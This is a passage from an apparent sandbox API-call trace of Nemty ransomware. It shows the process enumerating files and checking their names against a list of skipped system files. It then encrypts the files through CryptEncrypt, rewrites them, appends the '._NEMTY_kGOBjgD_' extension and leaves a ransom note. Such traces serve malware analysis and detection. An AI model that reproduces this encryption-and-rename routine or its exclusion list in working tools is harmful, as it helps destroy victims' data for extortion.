lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0188.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0188.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.675] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Standard.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standard.pdf._nemty_kgobjgd_")) returned 1 [0188.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.676] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b7c1, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0188.676] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0188.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0188.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0188.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404a8 [0188.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0188.677] Sleep (dwMilliseconds=0x5) [0188.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x241bdb50, dwHighDateTime=0x1d561e8)) [0188.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x241bdb50, dwHighDateTime=0x1d561e8)) [0188.680] GetLastError () returned 0x0 [0188.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.680] GetLastError () returned 0x0 [0188.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0188.680] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.680] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.680] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0188.681] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="a0MAzpopM1Bwy0T/LdAYcifWPAW0GYltF33YWKVbyIFeLHPVIUq9g6sLm4R0oWGi\r\nDjyF899A2rVH58PbgIVsttSwtrJpCLjuwuCB1bjCIThfe73MIy11bQgizft14Dda\r\nb1+Ya2Zm4/lTfux9zlGUCZU1EyToIb/C+8XzedCGc4OEPop6UIPpJnyhIzYeh9li\r\nK+PM+mMkgkxHxIxulMEdQI6rCTTH46R9D/KKPj7t4+gI6CSheOCbF0c2v+QT2TdN\r\n7AG6PlfaOne10Dd7p09WBD0ERrSPJDwV4okZQPib3Ct/dTqX3LqrJMptiR6lttGE\r\ny2RA9/qU772VOIlPM9T+cg==\r\n", pcchString=0x653df5c) returned 1 [0188.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0188.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0188.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0188.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.681] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.681] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=112577) returned 1 [0188.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0188.681] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.681] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0188.690] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.690] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0188.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.690] SetFilePointer (in: hFile=0x320, lDistanceToMove=112577, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b7c1 [0188.690] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.690] CloseHandle (hObject=0x320) returned 1 [0188.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0188.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0188.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0188.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0188.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0188.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0188.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0188.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0188.691] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0188.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0188.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0188.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0188.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.692] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x240d9310, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x240d9310, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x240d9310, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0188.692] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0188.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0188.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0188.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0188.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.693] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x240d9310, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x240d9310, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x240d9310, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0188.693] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0188.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0188.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0188.693] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="HUN", cAlternateFileName="")) returned 1 [0188.693] lstrcmpiW (lpString1="HUN", lpString2=".") returned 1 [0188.693] lstrcmpiW (lpString1="HUN", lpString2="..") returned 1 [0188.693] 